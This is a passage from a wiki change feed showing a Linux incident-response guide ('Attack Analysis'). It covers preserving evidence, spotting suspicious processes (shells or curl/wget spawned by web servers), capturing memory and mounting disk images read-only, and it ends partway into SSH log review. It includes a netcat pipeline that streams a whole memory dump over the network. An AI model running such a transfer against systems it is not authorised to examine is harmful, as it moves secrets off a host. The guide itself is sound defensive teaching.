* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=258</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=258"/>
		<updated>2026-10-02T22:26:34Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
